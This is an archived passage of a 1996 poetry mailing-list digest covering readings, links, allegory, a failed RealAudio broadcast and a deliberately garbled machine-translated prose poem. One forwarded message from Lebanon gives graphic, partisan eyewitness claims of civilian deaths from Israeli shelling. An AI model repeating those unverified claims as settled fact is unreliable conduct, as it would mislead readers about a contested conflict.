Please help me comprehend those who tell me that, in order to be heard, a prayer in a schoolroom must be spoken aloud and be witnessed by others.

It is always puzzling when those who claim to know you best obviously fail to realize that you always know our hearts and minds, and that you are not hearing-impaired.

They don't seem to know that there are thousands of prayers in public schools every day, and no one is aware of them except you and those praying. Have these people forgotten your omnipotent and omnipresent powers?

I want to worship you willingly and in my own way, not at a specified "moment" of prayer or silence or a designated place. I don't want to be obligated to do it, either, for surely if I'm ordered to bow to you it is no different than the children of Israel being ordered to bow before Baal.

Please let me know if I'm wrong in thinking that no one can truly legislate prayer. Tell me if I'm mistaken when I refuse to believe that the new high priests of the land, parading around in their new-found glory, are not the only keepers of the faith.

God, the newly elected leaders of the country tell us that most of our recent problems are because you were kicked out of school in 1962, once again showing what little regard they have for you. Don't these esteemed officials know that you have never been a dropout or a delinquent and, besides, no one is tough enough to kick you out of any place where there is someone who wants and needs you?

Allah, forgive me if I'm being too judgmental of these people, but it is sickening to see you used as part of a political agenda. It's a disgusting thought that our children's communication with you will be at the center of a fight by politicians next year who refuse to recognize that they have no control over the matter.

Jehovah, remind us that not all prayers are accepted by you, and that

> *the answer to some prayers is "No."*
>
> *As I offer this petition, asking for a "kinder and gentler" nation, I trust you will receive it and answer affirmatively.*
>
> *I pray this prayer in the name of all that is good and just.*
>
> *Amen.*

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

↑ Index

609. **Ron Silliman**

Bleach Bottle Pig Farm

Thu 25 Apr 1996

I'm more of a Cafe Fanny's type myself but my kids have definitely been inspired by Ann Kong's pig farm and have made some bleach bottle pigs themselves. Definitely a "thing to do" (I've forgotten the name of that cafe -- the Tea Spot? -- but it's a great oldfashioned one in the tradition of the best from the 60s. When I left Berkeley, it wasn't open all hours, but that was the only limitation....

But what IS the connection to poetry here?

Ron Silliman

↑ Index

610. **Kenneth Goldsmith**

New New Music URL's of interest

Thu 25 Apr 1996

Hi folks,

Thought these two new New Music Links would be of interest to persons on this list:

Lovely Music:

http://www.lovely.com

Cunieform & Wayside Music:

http://members.aol.com/Cuneiform2/cuneiform.html

==========
==========
Kenneth Goldsmith
[redacted]
v. [redacted]

work: http://wfmu.org/~kennyg/Ubu/index.html
play: http://wfmu.org/~kennyg

↑ Index

611. **Joe Amato**
kunitz...
Thu 25 Apr 1996

---

anybody out there gonna be at the stanley kunitz reading-shindig at nyu tonight?... hear tell from npr he's reading with many others---olds, creeley, kinnell, others... or at least that's how i heard it... be nice if we had, as we've had, reporters-on-the-spot...

joe

↑ Index

612. **chris daniels**
FW: Bleach Bottle Pig Farm
Thu 25 Apr 1996

--- On Thu, 25 Apr 1996 03:50:04 -0700 Ron Silliman
<[redacted]> wrote:

> *I'm more of a Cafe Fanny's type myself but my kids have definitely been inspired by Ann Kong's pig farm and have made some bleach bottle pigs themselves. Definitely a "thing to do" (I've forgotten the name of that cafe -- the Tea Spot? -- but it's a great oldfashioned one in the tradition of the best from the 60s. When I left Berkeley, it wasn't open all hours, but that was the only limitation....*
>
> *But what IS the connection to poetry here?*
>
> *Ron Silliman*

yes, it is "the tea spot"

perhaps the connection is in the sweet human ability to love such a thing as a bleach bottle pig --- but i am speaking entirely of myself

later

---

christopher daniels <[redacted]> 4.25.96 10:16:10 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wuorinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

613. **Jordan Davis**
self as bleach
Thu 25 Apr 1996

Just picked up Michael Gottlieb's _The River Road_ (Potes und Poets 35, $10) and thought I should mention it. It's only a matter of time before he crosses over as _our Paul Muldoon_. (>]*_compliment_*[<) --Jordan

↑ Index

614. **Gabrielle Welford**
Situation in the Middle East: An account (fwd)
Thu 25 Apr 1996

Pretty bad... Gab.

---------- Forwarded message ----------
>> Hi.
>>
>> Firas is in the states. I will hopefully be in the states around
>> the 1st week of July to join a research program.
>>
>> This is the situation:
>>
>> We are ready to evacuate
>> immediately, I think!!! Things here are NOT improving. I do not know
>> how much longer we can communicate - be it thru e-mail or phone. The

>> Israeli's are shelling nothing but civilian targets. They hit not a
>> single Hizbullah target. The sea ports are closed because of Israeli
>> gunboats warding off ships!! They shot three of the power stations,
>> rendering one of them totally nonfunctional. According to the new, one
>> of them has attained damages worth 3 millions USDs. They are also
>> shooting the telephone switchboards. They have gunned one of the main
>> ones, and off and on they have destroyed major telephone cables around
>> the country. I know that at least 18000 phones are out! Things are
>> really NOT optimistic here. Schools have been shut down for at least
>> one more week. I do not know if my uni will open. Please distribute
>> this message please to as many people as you can; it is important that
>> they see the truth.
>>
>>
>>   Today..... they attacked a UN center. It was a bomb shelter.
>> They massacred every soul in there - mentally and physically. Hundreds
>> of armless, helpless, hungry people were hiding in two tents. The
>> Israeli's attacked the base. People started fleeing into the shelters,
>> but they did not make it on time. The seen was a giagantic shish kabab
>> scene!!!! Bodies were charcoaled.... I actually saw some guts,
>> intestines, and other gross things..... it was an open anatomy class,
>> for heaven's sake.... my girlfriend burst into tears... so did my
>> mom!!! Who is the attacker here? A m**********r behind a tank or a
>> child who is just looking for food and shelter???? The folks from the
>> south are all packed in schools in Beirut. Things are not sanitary at
>> all. Diseases are beginning to spread! For God's sake who is the
>> aggressor!?!?!? They showed us how the Israelis take a moment of
>> silence for the massacre of the Jews in Germany!!!!!! What is this....
>> some kind of avenge?!?! We have to pay for it??!? Half a million
>> people were forced out of their homes because their presence would
>> threaten the heavily armed army of Israel..... the tanks are
>> vulnerable to an attack from young children!!! Children are
>> lethal..... we should abolish them....eh?????? Man... the situation
>> is not improving. What is the world after... destroying Lebanon's new
>> infrastructure because it could beat Israel's economy in a few
>> years???? Is it after taking away the Arab's arsenal and money?? If
>> Syria were to move, the American Air Force and the Israeli Air Force
>> would take it as an attack and a breach of peace!!!!!!! They take our
>> land.... and call us aggressors. They say that if we stop attacking
>> them with a few guerilla soldiers, they would leave..... is this
>> preposterous or what??? You occupy my house and I ask to leave, but
>> you refuse to because I am hitting you?!??!? Well..... leave my house

>> and I will not attack you. You just ought to see the brains of 3 day
>> old splattered all over the blanket!!! His head lost its top!!!!
>> Literally!!!! The 3-day-old had no top to his head.... his brains
>> were over the blanker and on the floor. They wiped out 2 families of
>> 12 people in one building..... their argument.... Hizbullah fired a
>> Katyusha from that area..... b******t!!!! Since the beginning of the
>> attacks, the Israeli army has hit nothing.... NOTHING... but civilian
>> targets..... An ambulance with 4 children and old folks was hit by a
>> rocket from a plane.... their excuse: The driver was Hizbullah.....
>> now give me a break!!!!!! WE ARE THE KILLERS....WE OWN THE HI-TECH
>> STUFF..... For God's sake, we do not even have an airforce!!!!!!! We
>> have one bloody f***** jet.... just one!!!!!!!!!
>>
>>   Tomorrow morning I am taking my car to all the near grocery stores
>> to buy as much baby milk as the car can carry and distribute it all to
>> the schools that have lactating children or children in need of milk.
>> Our academic year has been disrupted because the southerners have been
>> placed in schools.
>>
>>   If anyone wants the true scenes, please contact me and I will do
>> my best to send a copy.
>>
>>   I have two INTERNET addresses:
>>
>> [redacted]
>> [redacted]
>>
>>
>> I am now using the aboudi one. Please send your messages to both.
>>
>> Take care.
>> Aboudi

%%% overflow headers %%%
To: jokelist -- HAIDERI ABBAS IBRAHIM <[redacted]>,
Alan Jasanoff <[redacted]>,
Amlan Majumdar <[redacted]>,
Ananya Das <[redacted]>,
Aparna U Datey <[redacted]>,
Sonit Bafna <[redacted]>,
Dipankar Mukherjee <[redacted]>,

Debdutta Ganguly <[redacted]>,
Shubhagato Dasgupta <[redacted]>,
Geeta Cowlagi <[redacted]>,
Nagaraja Harshadeep <[redacted]>,
"Muhammad I. Muzaffar" <[redacted]>,
Jagan Arvind Shah <[redacted]>,
"Sanjay M. Kewlani" <[redacted]>,
Manish Kothari <[redacted]>,
KRISHNAN <[redacted]>,
Manu Prithvish Sobti <[redacted]>,
"Maulik K. Parikh" <[redacted]>,
Mausami Bhatt <[redacted]>,
Meghana Parikh <[redacted]>,
Minakshi Maniben <[redacted]>,
Niraj Anand <[redacted]>,
Partho Dutta <[redacted]>, Pratap Talwar <[redacted]>,
Rahul Kamath <[redacted]>, Ritu Bhatt <[redacted]>,
Sandeep Dhar <[redacted]>,
Sanjoy Dutta <[redacted]>,
Sapna Mehta <[redacted]>,
Satish K Kolluri <[redacted]>,
Tarun Khanna <[redacted]>,
Vaishali Patel <[redacted]>,
Vikramaditya Prakash <[redacted]>,
Vivek Agrawal <[redacted]>,
jokeuro -- Hongyang Suh <[redacted]>,
"John S. Coburn" <[redacted]>,
LYDELL KING <[redacted]>,
John MacDougall <[redacted]>,
Kamal Khouri <[redacted]>,
Kristine Latta <[redacted]>,
Lisa Wynn <[redacted]>,
Molly Accola <[redacted]>,
"Monica V. Bhattacharyya" <[redacted]>,
"Morgan J. Pitelka" <[redacted]>,
Patti Ponzoli <[redacted]>,
"[content removed]",
Susan Uhm <[redacted]>,
poco <[redacted]>
%%% end overflow headers %%%

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615. **klobucar**
Re: Live INTERNET READING
Fri 26 Apr 1996

JUST A LITTLE OLE REMINDER:

If you're having a tv party tonight, cancel it, return your videos, and set yourself down in front of that other tube: your Mac or PC. At 4:00 PST, new poems from Vancouver are free to be heard in this new medium. Tell your friends. Ask for it by name. Accept no substitutes.

****

Deanna Ferguson, Michael Turner, Dorothy Trujillo Lusk, and
Jeff Derksen
April 26th : Friday : 4 -5:30 pm (PST)

Physical Location: Vancouver Film School, 420 Homer St., Vancouver B.C.
WWW Location: http://www.wimsey.com/~ksw/internet.htm

The Kootenay School of Writing, in conjunction with the Vancouver Film School and Axion Internet is pleased to announce our first broadcast of a reading over the Internet using RealAudio(TM) technology.

On APRIL 26th at 4:00 pm Pacific Standard Time we will be broadcasting a pre-recorded reading by Vancouver writers Deanna Ferguson and Michael Turner (info on that event) and a live reading by Vancouver writers Dorothy Trujillo Lusk and Jeff Derksen. Real Audio capability graciously supplied by Axion Internet.

REQUIREMENTS:
- o 486 class or higher PC / 68000 class Mac / Unix based machines, with capability to play sound files.
- o NETSCAPE 1.1+ (The event will be optimized for Netscape 2.0)
- o a Real Audio Player for your computer.

WHERE CAN I FIND THESE ?:
- o Computers : at your local computer store...
- o Netscape 1.1+ can be found at the Netscape http://home.netscape.com
- o Real Audio Player can be found at the Real Audio site at http://www.realaudio.com/products/player.html

DOROTHY TRUJILLO LUSK has given readings across Canada and NYC. Her most recent book _Redactive_ was published by Talonbooks in 1990. Her Tsunami Editions chapbook _Oral Tragedy_ was Shortlisted in the bpNichol

Memorial Chapbook contest in 1989. Her latest work, _Volume Delays_ is forthcoming from Sprang Texts.

JEFF DERKSEN, founding member of the Kootenay School of Writing and past editor of _Writing_ magazine, now lives in Calgary where he is completing his doctoral studies at the University of Calgary. Derksen's first book, _Down Time_ won the Dorothy Livesay Poetry Award at the 1991 B.C. Book Prizes. His second book _Dwell_ was published by Talonbooks in 1993.

DEANNA FERGUSON lives in Vancouver, B.C. where she is a publisher of Tsunami Editions and a co-editor of BOO Magazine. Books include The Relative Minor, (Tsunami Editions, 1993), Link Fantasy, with Stan Douglas, 1988 and Will Tear Us, 1987. Recent work appears in The Gertrude Stein Awards in Innovative Amercian Poetry, (Sun & Moon Press) and Raddle Moon 14.

MICHAEL TURNER is the author of Kingsway (Arsenal Pulp Press), Company Town (Arsenal) and Hard Core Logo (Arsenal). Company Town was shortlisted for the Dorothy Livesay Poetry Prize. His second book, Hard Core Logo, has been adapted to radio and stage, and will be a feature film directed by Bruce McDonald (Highway 61, Dance Me Outside). He is also the founder of the Reading Railroad, a popular Vancouver reading series.
****

FOR MORE INFORMATION CONTACT:
ANDREW KLOBUCAR -- [redacted]
DAVE AYRE -- [redacted]
****

Visit Our Web site ! ------> http://www.wimsey.com/~ksw
Join our Email mailing list ! --> http://www.wimsey.com/~ksw/maillist.htm

The Kootenay School of Writing
[redacted]
[redacted]
112 WEST HASTINGS
v6b 2g8
Canada

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616. Michael W. Waugh
Text as Image (painting programs)
Fri 26 Apr 1996

I am trying to find an MFA painting program that offers a focus in using words/text as image. I know that the Art Institute of Chicago offers such cross-art

(trans-art?) opportunities; it has just started a writing program (MFA) and encourages cross-fertilization between the visual and language arts. But I'd like to find out about other programs.

You, dear reader, may wish to alert me to schools who have faculty who are both visual and language artists (hmmm..that isn't right), I mean--who have persons on their faculty who combine visual and language arts, especially painting and poetry.

I already have an MFA in writing, so I am most interested in programs that I cound enter on the painting side. Am I being metaphorical? Another question. Perhaps.

I assume that you will want to send your replies to me directly. But if others are interested, others may wish to post a note saying so.

Devotedly,
Michael Waugh
[redacted]

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617. **Rachel Blau DuPlessis**
Re: Oppen's magazine publishings etc.
Fri 26 Apr 1996

---

hi again; I checked Oppen letters more carefully after I (belatedly) responded a few days ago. Anyway, RE: Bronk, the note on p 381 tells me that Oppen first wrote to Bronk on June 24, 1962. (I couldn't believe that I hadn't mentioned it somewhere in the book!). ONWARD to Orono. RBD

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618. **Aldon L. Nielsen**
Re: POETICS Digest -
Fri 26 Apr 1996

---

has there been a problem with this list lately? seem to be messages not getting in, but not returning either -- or is this a "digest" problem?

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619. **main**
Re: re; allegory, faith, etcetera
Fri 26 Apr 1996

On Fri, 26 Apr 1996, David Baratier wrote:

> Hey Jordan, Jordan Davis!
>
> Thaniks. I was thinking of allegory as a literary representation of a
> "real" instance or situation which falsely or superficially
> illustrates a further understanding of the item it is being placed in
> parallel with. In the Mallarmean sense, where any symbolic
> representation seems correct because of its placement within the said.
> How a fortune teller vaguely explains palms.
> "How in the near future, advances in freeze frame technology
> will make it possible for us to relax."
> A fleeting sense of the olde allegorie.
>
> Be well.
>
> David Baratier
>

or: replace "allegory" w "idea"
all ideas, allegory
?

dan featherston

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620. David Baratier

re; allegory, faith, etcetera

Fri 26 Apr 1996

Hey Jordan, Jordan Davis!

Thaniks. I was thinking of allegory as a literary representation of a "real" instance or situation which falsely or superficially illustrates a further understanding of the item it is being placed in parallel with. In the Mallarmean sense, where any symbolic representation seems correct because of its placement within the said. How a fortune teller vaguely explains palms. "How in the near future, advances in freeze frame technology will make it possible for us to relax." A fleeting sense of the olde allegorie.

Be well.

David Baratier

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621. **Jordan Davis**

Re: allegory, faith, neutrality, poetry

Fri 26 Apr 1996

Back atcha, Dave!

You mean that to explain certain subtleties or difficulties of a situation one may need recourse to an account of another subtle and/or difficult-to-locate-oneself-in-the-midst-of situation? As a species of relief? A way to say, as Reagan did, let me put this another way?

A man and his dog were walking across the crescent of a park near where I live. There was a pick-up soccer game going on. People were bicycling around, sometimes coming very close to the people sitting on the benches on the edge of the crescent. A woman just learning to use roller blades came really close to where I was sitting. Someone, her friend apparently, grabbed her and whirled her round, demonstrating how to stop.

I was sitting there writing something in my notebook. Now I'm typing to you, and the rain is falling on the ventilator across the way. Suds are rising on the ventilator. At the same time, so to speak, you're reading this.

Isn't that the basis for compassion, being in the same place? Compassion or rage? Aren't those instances of co-incidence, occupying the same space, at the instant they come into perception, funny and undetermined.

I'm just wondering, is it decent of allegory to make such a claim on us?

And the project of 'resistance'--allegory against allegory--is that an attempt to claim those coincidences for being qua being? Wow, that doesn't make much sense. Let me try again. Would you enjoy reading a kind of poetry that preserved the undetermined quality of events, or would you prefer poetry that includes all the possible interpretations and claims on events (subjectivity, they used to call it). One that talks about identity or posits a personality.

You know, I'm not sure I know which kinds of poetries those are. And of course, it may be that my question ('Would you enjoy reading') doesn't make any sense. Last night at Poetry City, Steve Levine countered the proposition that one gives a reading with the intention of being attractive to an audience with the proposition that one gives a reading because someone has asked one to read. It was a pleasant neutrality to discover at the Cedar.

It may be best to read the words without imagining things. Or, one may choose to read the words for what they say. It occurs to me from time to time that the atomic fact (if you'll forgive me that mannerism) of this list is the assumption that poetry is words, more or less, and the ranges of meaning that any given group of words called a poem can have *nowadays* depend on how those words

are enregistered--that is, what one knows about the *poet*. I don't know if this was always the case. In the interview between John Ashbery and Kenneth Koch, Koch tries to establish the meaning of certain disjunct lines that both of them had written. I'm not sure one would be inclined now to read examples of 'high disjunction' with a strong will to meaning leading one along.

The state of things right now: a rowdy poet is likely to produce what are taken to be rowdy poems; a shy, intense poet will seem to produce mainly shy, intense poems, etc. This 'affect' form of interpretation that I have uncommittedly practiced in my reading reports, it will be objected, is circular (and essentializing); one finds exactly what one puts there. That's journalism for you. How much of literary criticism is journalism--travel writing, sports writing--and how much of it is the assembly of meaning, or rather, a flux-model (red dye in the stream?) of the process of meaning?

I would argue that the social life of poets is what is at issue in the development of schools, and the claiming of renaissances, critical revivals, etc. But all that is bonus to the production of meaning. Allegory looks from here like an attempt to reroute the discussion back towards meaning and away from the essentializing discourse wheeze hack cough of group formation. It also looks like it will be at best a controversial and rejected attempt. Too easily pushed over. Coinciding with this pushing is the need to get to the truth of the situation. Which is what. Something like 'nobody knows' but without the spookiness; maybe it's more like 'here we are,' 'here we go,' or, if you prefer, 'here it is.'

All best, and you be well too,
Jordan

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622. **Ken Norris**

Re: POETICS Digest - 24 Apr 1996 to 25 Apr 1996

Fri 26 Apr 1996

SOMEWHERE ACROSS THE BORDER, a Canadian Interactive Poetry Magazine, is now available for viewing at

www.letelier.com/sab/sab.html

Ken Norris

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623. Eryque Gleason
Re: POETICS Digest -
Sat 27 Apr 1996

I've occasionally been receiving fragments of messages, rather than the whole shabang. Anyone else having that problem?

It seems that every other time someone posts a poem to the list, i get just a verse or two, nothing else. Not even any header info (who sent it when), just a message with no subject from ????@????. Kinda interesting now, but the first time it happened, the first few lines were rather biting and i thought i'd been attacked. This completely shocked me, i was recently given the title "world's most lovable guy" by someone that was only half tipsy (her normal state).
~Eryque

At 8:38 AM 4/26/96 -0700, Aldon L. Nielsen wrote:
>has there been a problem with this list lately? seem to be messages not
>getting in, but not returning either -- or is this a "digest" problem?

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624. Herb Levy
Re: poetry and audience in the nation
Sat 27 Apr 1996

> *Herb Levy--*
> *although my poetry pretty much stays GLUED to the LEFT(ist) margin*
> *in a way that is (ironically?) considered RIGHTest,*
> *how do you know that many of my notes on the poetics list---*
> *(someone--i forget who--once remarked on their "ziggeraut" quality)--*
> *are not intentional in the spirit of WCW's "three step" late style...*
> *?*

Sorry to be late getting back on this crucial detail, Chris, I was in historic Kingston, NY & didn't have a chance to get back into to telnet from there. I'm back in Seattle again (out where a friend is a friend).

I think your posts are not entirely visually in your control because you periodically complain about the process of writing them.

If this is an intentional stylistic trope on your part, it's a good one.

Bests

Herb

Herb Levy
[redacted]

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625. **Jeremy F Green**
Re: Macsweeney / Cambridge Poetry Conference
Sat 27 Apr 1996

---

to u.k. types--

Any chance of a report on the Cambridge Poetry Conference going on this weekend?

Jeremy Green

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626. **David Ayre**
Vancouver writers/Real Audio
Sat 27 Apr 1996

Hello all.

On April 26, at 4:00 we tried to do something. Something new. As with all new things. Sometimes they don't work. This didn't.

We were trying to broadcast two pre-recorded readings by Deanna Ferguson and Michael Turner and two live readings by Jeff Derksen and Dorothy Trujillo Lusk using RealAudio (free internet software that allows one to here audio files instantly as soon as they are activated (assuming certain hardware requirements are fulfilled)). It turned out that we didn't get the audio hook up until after 3/4 of the event was over. It was an extremley apologetic afternnon. BUT WAIT, some good did come of all this unhappening !

The pre-recorded readings of DEANNA FERGUSON(approx 20 minutes) and MICHAEL TURNER (approx 16 minutes) are now up and available for listening (accompanied by a timed visual presentation). Both readings are extremely strong in delivery. Deanna is reading two new works, STILL LIFE WITH THE LAW is a masterful example in poetic/comedic delivery a la the lost language poet Lenny Bruce & ROUGH BUSH, which i believe, for all you Meow Press fans, will be available in printed form very soon.... Michael is reading selections from his newest book KINGSWAY, a series of lane changing poetic narratives that cruise through the yellow lights of the various histories that surround one of the oldest thoroughfares in Vancouver.

So, if you've got that techno-power use it ! or borrow a friends... Drop by our web site for information on how to pick the readings up. At this point, we are not sure how long they will be available... so tune in soon...

http://www.wimsey.com/~ksw/internet.htm

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"Poetry in gurgling clear RealAudio. It's one of the best ways to use up the valuable time on your internet account."

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627. **{ brad brace }**
Uomo che brucia ha Trascrivuto
Sat 27 Apr 1996

Man that blazes has Transcribed

_____

Universal closeness of life and the attempt to. circumvent from means of belong. thing. twenty of the desert. .the radio-place looks for for frequency. travel. of consequence the creation of art departs is of. in place of belong. a different kind of belong. regression. he/she/it/you has surrounded or he/she/it/you has circumvented, he/she/it/you has circumscribed. from[[hillscapes]] of the signature. he/she/it/you has crackled. slipknot of the back of the phase. the middle of in no place. as is he/she/it /you in any place in in no place, is he/she/it/you them does he/she/it/you have moved? And the middle of in no place always in any place. it is terminus in no place of a constellation, ambient constellation, a terrible constellation, of in any place. the half of communication of bulk camps. pens of smoke are a substitute for. clouds in the sky. in tall in a beautiful,[cartoons] blue. slant. [[polyethylene]] blue, the[[tarp]] of choice. that would think. big, a momentariness, communion, freedom and same -trust point out. new structures. that that extension is the[[mores]] social. he/she/it/you has built. bunting and bunting. before erect upright elements create. piece of furniture has amplified sounds, dogs, sufferings kits, originate from machinery of the art. one with an air-ladle of the wheel on cop. the sound travels far and his direction is clear. until to hour people seems to arrive in the three, four, five, are or more, you/he/she/it with that bring the existing structures with them. he/she/it/you has forced to reaffirm. some really horrendous attempts to signature of[[creativity]],[[hipness]]. in any way the more elegant and least structures are most compelling. here where my structure seems inconsequent. expected anchor for the communion radios place come on air. Anybody has scrambled up a [tiv] he/she/it/you towers. Presumably that is the broadcast he/she/it/you towers. sounds of he/she/it/you has registered dogs. sound is really the dominant half out here. notions of the captive audience and. machinery of the art. Here one that it is all silver with a pair of fins of the[[dorsal]] gigantic. it is the

audience this prisoner, a captive audience. some people is the rangers of Black Rock. any[[spilled]] he/she/it/you of the fluids has sucked immediately in the surface of the has crackled[[playa]]. absorption. absorption. much of the fire is on show, varied toys and buttock cultural manufactured article,[[flamingoes]] pink [color]. when really the sense of structure, a has structured sense of house. he/she/it/you of an apartment has contained ends desolate soldiers be in increase the. the 8 foot of the[[atop]] of the white and black flags along triangular you/he/she/it silver poles they have a certain resonance, like he/she/it/you is yellow and black. as he/she/it/you can grabs with you, as of that that he/she/it/you was can to resurrect. some areas are able of create dust more when he/she/it/you has crossed of above that other. Your car could become film white-adherent of chalk, diviner. Has been worried of my possibly has barred filter of the air. have[[inadvertently]] left my CB radios on, I/they have worried that that apparatus of the communication in made he/she/it/you drains my battery of the car. Change of pace. the models on the floor of the[[playa]] they intrigue, the by the surface has split between each he/she/it/you has circumscribed division it he/she/it/you exists subsequent smaller you/he/she/it crackle, crazy or formations. He/she/it/you would be beautiful if that paints has been amplified in this interim communion. binoculars would interest to bring here. he/she/it/you has provisioned in that he/she/it/you divides of the[[playa]], which it is the best dry part and pact, the part that gives birth to the least dust, the[[obfuscation]] least. Really he/she/it/you could not see behind to you when guide across the[[playa]], there is correct a following of the white cloud you. twin, I would like see twin here. Maybe existing correct communion obtains as big that any kind of social interaction and expressive connection is impossible he/she/it/you as has to[[recreate]] some smaller appearance or I/you/he/she/it expect to that bigger communion in any place where other and that in any place where other is always a problem. these small radio does driven machinery interest, does he/she/it/you compress together with to? aloof horizon that demands staircase. when it is the air of the physical structure of a similar communion to symbolic infrastructure. What that does he/she/it/you understand when he/she/it/you finally reflects completely? Does he/she/it/you become then transportable? When does he/she/it/you have carried, does he/she/it/you do that is the ambient physical or structure, does that do understands that that necessarily does he/she/it/you should mirror his origin? There is a sense at night that that he/she/it/you has not seen correct some stars like he/she/it/you could see usually but he/she/it/you sees each individual star, all the stars. There is implicit terror in that. He is because social structures fatally obtain big and cripple and improbable. And that because a sense of can has imparted to those that you/he/she/it refuse extend their social connections. Those that. that he/she/it/you doesn't want necessarily see it he/she/it/you has extended[[indiscriminately]]. And that desires has reported to the inevitability of a social bigger structure. The desert plumes. but

after a time their pens of the[[vertically]] of the increase. I/they am less articulate than the more recent pens and[[symmetrical]] of the[[vertically]], like albeit I/they have mirrored the one or the other of the horizon on side. The bicycle is certainly the best part I don't modulate interfering of transport in and about the field, equal more as that the walk, a mirage or afloat effect of anything moves a fluid manner in a new accommodation, as the bicycle and his passenger seems to be more of an image that a substantial being. Art or cultural objects could be means of begin a subsequent conversation or a[greasy] of the conversation he. To what point does he/she/it/you also do much anything does he/she/it/you become anything? When he does he/she/it/you do touched the bottom out? Finally, is it people does he/she/it/you have allotted positions of responsibility/ can primarily I/they as am not piano done tilt to[[reinvent]] the system, that their more hour a part of? He/she/it/you would interest has a series of[[aerial]] following photographs exposure like the communion he/she/it/you gradually has grown, in that that model. Of course anything photographs assumes the center. You/he/she/it photograph these you/he/she/it dust pens, these dust of the [[symmetrical]] he/she/it/you plumes, on film of the tall contrast and you/he/she/it then turn the m[[vertically]]. I/you/he/she/it resemble to [[soundtracks]] optic a destiny, he/she/it/you would interest see that that they have played like. Finally, it is the belief that these carriers are able, after a period of time, from their place of origin. big sound. the structure requires a certain appointment, a renewal. carriers of the [[squarish]]. I correct he/she/it/you has known that I in any way would be inferior to a[[reenactment]] of the[[panic]] that I/they have felt when I have lost the my first car on the beaches of the Pacific Ocean. Was the best part [habitat]? . Empty space. he/she/it/you has buzzed from a combatant he/she/it/you utters to buds. see. structural configurations that he/she/it/you could come on with for these sheets of[[polyet hylene]] blue. good projectile study. it is the curtain he/she/it/you fortifies of poles. like 18 pegs of the metal of the inch. and then bamboo hollow top fortifies of poles he/she/it/you has put[[overtop]]. beautiful fluorescent, bunting, fluorescent o range with a black plaza and a black circle. there is a hamburger he/she/it/you is in feet, McSatans. [[millions]] he/she/it/you of souls has served, free cigarette with each [[burger]]. There is an equitable amount of play on the drum and drummer boy, no of him very stable or. I beam Free Man that blazes 99.5. disk of the guest tangles, 25-minute chasms of the time. very animal quilted they have put get off. Friday hour, according to he/she/it/you to the radio disposes, the population is in feet to of 600, not also many. breeders here. I have seen an air-conditioned curtain. the wind really he/she/it/you takes at night, much the structures have demolished. He/she/it/you would interest has a kite with he/she/it/you has battery-motored blinkers on him lift at night. Some[[rocketry]]. The plays on the drum he/she/it/you would take an interest in has been used like a by of establish connections across the space. If there was people he/she/

it/you has sprinkled about the[[playa]] he/she/it/you answers. to wheels my bicycle out to the half of communication of bulk puts forward. And correct far enough out be a piece of an exercise. I have promenaded across, hi told. He/she/it/you has promenaded back. I was as thirsty when I/they have returned me have opened the bottles that I had of the frozen water, and he/she/it/you has drunk all the cold water that had[[melted]]. there is correct this center of ice in the middle. carriers arrive now, midday. there you/he/she/it seem to be a big he/she/it/you has converted bus in the center of field which seems to be the official bus of the Man that blazes complete with a receiver of the satellite. And all has painted on. Ties of the cold water. People is carriers of the[[orbiting]] about the field. motorcycles. Implicit in my decision where to you/he/she/it finally induct field it must be a sense of the structure of the [tuta] of work like an all, which he/she/it/you of varied course like time goes on, the center stays best abiding part. He/she/it/you would be more interesting if the field was[[bipolar]], if he/she/it/you had two centers. ? campers would resemble to kind of magnetic fields which they could alternate, a north of the being of the center, a south of the being,[[etc]]. . then, the that Black public Rock on the official correct gazette has arrived. Here an announcement from the Basketball of the Girls of the high school of the Empire attaches in Gerlach (they sell ice. Their advertising witticism is, the ice of 'Today that is more that[[water.']] correct ice cream) small Interesting bird, kind of he/she/it/you gulfs like with long accounts and long wings out look for things eat on the earth. You[[mistook]] my leftovers of the maroon for things eat. Amazing number of hexapod out here that I have never seen before. Green dish, kind of beetle-like bug. Strange. The that Black public Rock on the official gazette characterizes this communion an interim communion, deliberate/ he/she/it/you has freed autonomous zone. The bigger challenge. Last ice five days. Once again, really I desire have bought that equipment of the folding drum. Combatant an other utters to buds. I marvel could do an extremely long made flag of varied national bunting or[[thereof]] he/she/it/you of the parts has sealed with lead together. There is a new Ennio Morricone he/she/it/you doubles CD he/she/it/you departs, 'Once on a time in the West.' Electric orange. There are two airplanes of the more combatant. some has hand-liable he/she/it/you goes in missile cruise, that they would be completely a show. I like this radio he/she/it/you disposes. And a really beautiful, advised still varied kind of selection of the music. He/she/it/you would be beautiful, albeit, instead of have the same innkeeper and a new guest, the same innkeeper and a new guest, the same innkeeper and a new guest, there was an innkeeper which in you/he/she/it turn become the new innkeeper and as on. awful exercise in comprehension. Do I have[[inadvertently]] does he/she/it/you have discovered the double-articulate curtain-pole? . the pretended content is really in the center. the field has expanded really, hour. You/he/she/it seem to expand in about clusters. He/she/it/you has clouded of above, cloud

really bouncing he/she/it/you covers. He/she/it/you could see the rain you/he/she/it line up the aloof hills. The field has changed. There is more of a cagey sense to him hour. direction look for in. Avoid this problem, he/she/it/you could use the technique he/she/it/you has called, 'deliberate[[error']] for example, if you purpose of the[[purposely]] for a stain rather to the law of your location, he/she/it/you will know when he/she/it/you has struck the stain he/she/it/you must be to the accident. He/she/it/you will interest see like the field breaks on, if it is a[[exodus]] of the bulk, if some people chooses be on. [[exponentially]], he/she/it/you appears it be he begins of a storm he/she/it/you appears in distance. avenues have formed here and there. I seem to sit on the edge of one. Curtains have parked on in general double, some aviators of kites use this avenue launch their kites. Correct as players of the hairy flute, nude could they be there? . Some people ties to a pole out these elaborates structures with chords of the[[bungie]] court among[[tarps]] and pole. You/he/she/it seem a very good idea. I marvel there it is an ideal social density, the atmosphere of the field has changed radically. He/she/it/you has grown [[exponentially]]. He/she/it/you could be different thousand from hour, and there is not that same frankness that was here when the field was smaller. Appalling storm yesterday, he/she/it/you could see it he/she/it/you originates from the south. This blinding clouds of[[swirled]] of the dust on. You/he/she/it sprinkle of rain, and then rapid expansion, the sun was out again. A storm of best that correct has blown in and he/she/it/you has blown out. And there was this thick bow. Last night seems to have has obtained much the rain that that should have accompanied bombards earlier in the day. I /they am in them[[twenties]], above all[[twenties]] early, I think. And a different kind of attitude, it is not a town attitude. Kind of a cacophony, cacophony of 